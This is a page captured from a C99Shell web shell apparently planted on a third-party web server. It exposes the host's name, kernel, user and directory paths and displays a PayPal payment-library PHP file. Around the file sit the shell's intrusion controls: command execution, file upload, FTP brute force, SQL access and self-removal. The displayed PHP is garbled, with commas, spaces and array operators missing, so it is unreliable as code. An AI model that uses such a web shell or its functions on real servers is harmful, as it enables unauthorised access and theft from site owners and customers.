!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/srmklive/paypal/src/Traits/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalRequest.php (5.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Traits;

use 
RuntimeException;

trait 
PayPalRequest
{
    use 
PayPalHttpClient;
    use 
PayPalAPI;

    
/**
     * PayPal API mode to be used.
     *
     * @var string
     */
    
public $mode;

    
/**
     * PayPal access token.
     *
     * @var string
     */
    
protected $access_token;

    
/**
     * PayPal API configuration.
     *
     * @var array
     */
    
private $config;

    
/**
     * Default currency for PayPal.
     *
     * @var string
     */
    
protected $currency;

    
/**
     * Additional options for PayPal API request.
     *
     * @var array
     */
    
protected $options;

    
/**
     * Set PayPal API Credentials.
     *
     * @param array $credentials
     *
     * @throws \RuntimeException|\Exception
     */
    
public function setApiCredentials(array $credentials): void
    
{
        if (empty(
$credentials)) {
            
$this->throwConfigurationException();
        }

        
// Setting Default PayPal Mode If not set
        
$this->setApiEnvironment($credentials);

        
// Set API configuration for the PayPal provider
        
$this->setApiProviderConfiguration($credentials);

        
// Set default currency.
        
$this->setCurrency($credentials['currency']);

        
// Set Http Client configuration.
        
$this->setHttpClientConfiguration();
    }

    
/**
     * Function to set currency.
     *
     * @param string $currency
     *
     * @throws \RuntimeException
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setCurrency(string $currency 'USD'): \Srmklive\PayPal\Services\PayPal
    
{
        
$allowedCurrencies = ['AUD''BRL''CAD''CZK''DKK''EUR''HKD''HUF''ILS''INR''JPY''MYR''MXN''NOK''NZD''PHP''PLN''GBP''SGD''SEK''CHF''TWD''THB''USD''RUB''CNY'];

        
// Check if provided currency is valid.
        
if (!in_array($currency$allowedCurrenciestrue)) {
            throw new 
RuntimeException('Currency is not supported by PayPal.');
        }

        
$this->currency $currency;

        return 
$this;
    }

    
/**
     * Return the set currency.
     */
    
public function getCurrency(): string
    
{
        return 
$this->currency;
    }

    
/**
     * Function to add request header.
     *
     * @param string $key
     * @param string $value
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setRequestHeader(string $keystring $value): \Srmklive\PayPal\Services\PayPal
    
{
        
$this->options['headers'][$key] = $value;

        return 
$this;
    }

    
/**
     * Function to add multiple request headers.
     *
     * @param array $headers
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setRequestHeaders(array $headers): \Srmklive\PayPal\Services\PayPal
    
{
        foreach (
$headers as $key=>$value) {
            
$this->setRequestHeader($key$value);
        }

        return 
$this;
    }

    
/**
     * Return request options header.
     *
     * @param string $key
     *
     * @throws \RuntimeException
     *
     * @return string
     */
    
public function getRequestHeader(string $key): string
    
{
        if (isset(
$this->options['headers'][$key])) {
            return 
$this->options['headers'][$key];
        }

        throw new 
RuntimeException('Options header is not set.');
    }

    
/**
     * Function To Set PayPal API Configuration.
     *
     * @param array $config
     *
     * @throws \Exception
     */
    
private function setConfig(array $config): void
    
{
        if (empty(
$config) && function_exists('config') && !empty(config('paypal'))) {
            
$api_config config('paypal');
        } else {
            
$api_config $config;
        }

        
// Set Api Credentials
        
$this->setApiCredentials($api_config);
    }

    
/**
     * Set API environment to be used by PayPal.
     *
     * @param array $credentials
     */
    
private function setApiEnvironment(array $credentials): void
    
{
        
$this->mode 'live';

        if (!empty(
$credentials['mode'])) {
            
$this->setValidApiEnvironment($credentials['mode']);
        } else {
            
$this->throwConfigurationException();
        }
    }

    
/**
     * Validate & set the environment to be used by PayPal.
     *
     * @param string $mode
     */
    
private function setValidApiEnvironment(string $mode): void
    
{
        
$this->mode = !in_array($mode, ['sandbox''live']) ? 'live' $mode;
    }

    
/**
     * Set configuration details for the provider.
     *
     * @param array $credentials
     *
     * @throws \Exception
     */
    
private function setApiProviderConfiguration(array $credentials): void
    
{
        
// Setting PayPal API Credentials
        
if (empty($credentials[$this->mode])) {
            
$this->throwConfigurationException();
        }

        
$config_params = ['client_id''client_secret'];

        foreach (
$config_params as $item) {
            if (empty(
$credentials[$this->mode][$item])) {
                throw new 
RuntimeException("{$item} missing from the provided configuration. Please add your application {$item}.");
            }
        }

        
collect($credentials[$this->mode])->map(function ($value$key) {
            
$this->config[$key] = $value;
        });

        
$this->paymentAction $credentials['payment_action'];

        
$this->locale $credentials['locale'];
        
$this->setRequestHeader('Accept-Language'$this->locale);

        
$this->validateSSL $credentials['validate_ssl'];

        
$this->setOptions($credentials);
    }

    
/**
     * @throws RuntimeException
     */
    
private function throwConfigurationException()
    {
        throw new 
RuntimeException('Invalid configuration provided. Please provide valid configuration for PayPal API. You can also refer to the documentation at https://srmklive.github.io/laravel-paypal/docs.html to setup correct configuration.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--